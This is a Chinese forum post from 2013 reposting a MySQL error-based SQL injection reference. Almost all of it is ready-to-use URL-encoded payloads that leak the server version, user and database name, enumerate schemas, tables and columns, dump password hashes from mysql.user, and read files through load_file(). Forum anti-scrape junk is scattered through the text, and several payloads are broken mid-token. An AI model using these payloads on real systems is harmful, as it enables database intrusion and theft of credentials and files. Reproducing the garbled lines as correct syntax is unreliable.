Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑


Mysql暴错注入参考（pdf），每天一贴。。。

MySql Error Based Injection Reference
[Mysql暴错注入参考]
* K( w3 u1 c5 V5 q4 WAuthornig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
* N( _) D' i/ Z: l( F4 k/ N小部分版本使用name_const()时会报错.可以用给出的Method.2测试
* Z5 J) r% O1 a/ l) p查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
; j; _; u% p4 r" Y+ Lup by a)b)
查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
2 Q3 L' ?/ q' Q8 w, C4 l' kMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
1 V) B% `$ Y0 y8 r: I8 n% ^Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
7 s, n; y) A, U8 ?8 ~" U  i& D1 Xor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
- d: r) N+ F# u* _LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
- k% Q8 w! L+ I4 B6 G7 c) g5 Yable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
, q0 e! r) z; l' e  K+by+x)a)+and+1=1 0x6D7973716C=mysql
6 W5 [+ K0 T5 C( q3 K  H7 @( g7 z7 j依次爆表:
1 N, H- z0 q( t! `. band+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
' K  D- f" U- V$ _6 M: h, `able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
4 _* a% H7 Z; E. v0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
/ s7 S  r* D' M* i! h! [8 _5 B9 v5 sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
$ I/ a+ C' ?; r) V, `% B+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
+ l3 z. V; p% M. Z* B% f0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
( t$ i6 c6 x3 L依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
0 P: y) R! J/ t6 K% O2 f& t+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
, A  ?* d7 c7 ~$ ]7 M/ w依次暴内容:
/ ?5 i& m2 N4 P0 mand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
; X. F( n9 i: }# W! ]ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
' b! m9 U8 N9 L' R' |* y- v爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
from+information_schema.tables+group+by+a)b)
, e# `8 r3 X7 p$ T0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
: u7 y" q5 f+ b- SThx for reading.
% `. S, b- ~! z. i4 m5 p' y& r+ m
: p3 J/ F; ]! _5 G" r2 d0 h不要下载也可以，